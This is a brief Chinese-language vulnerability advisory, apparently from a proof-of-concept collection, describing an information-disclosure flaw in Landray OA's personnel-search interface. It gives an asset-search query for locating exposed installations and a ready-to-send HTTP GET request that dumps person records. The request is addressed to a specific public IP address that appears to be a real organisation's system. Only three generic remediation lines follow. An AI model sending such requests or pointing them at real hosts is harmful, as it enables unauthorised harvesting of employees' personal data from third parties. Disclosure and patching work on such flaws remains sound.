蓝凌OA syszonepersoninfo 信息泄露漏洞

产品介绍

蓝凌核心产品EKP平台定位为新一代数字化生态OA平台，数字化向纵深发展，正加速构建产业互联网，对企业协作能力提出更高要求，蓝凌新一代生态型OA平台能够支撑办公数字化、管理智能化、应用平台化、组织生态化，赋能大中型组织更高效的内外协作与管理，支撑商业模式创新与转型发展。

漏洞描述

蓝凌OA syszonepersoninfo 接口存在信息泄露漏洞,攻击者可通过此漏洞获取敏感信息。

资产测绘

app=“Landray-OA系统”

漏洞复现

POC如下：

GET /sys/zone/sys_zone_personInfo/sysZonePersonInfo.do?.js?&method=searchPerson&orderby&ordertype=up&rowsize=20&s_ajax=true HTTP/1.1
Host: 1.194.229.235:9001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

修复建议

修复建议
1、请联系厂商进行修复。
2、如非必要，禁止公网访问该系统。
3、对相关接口进行鉴权。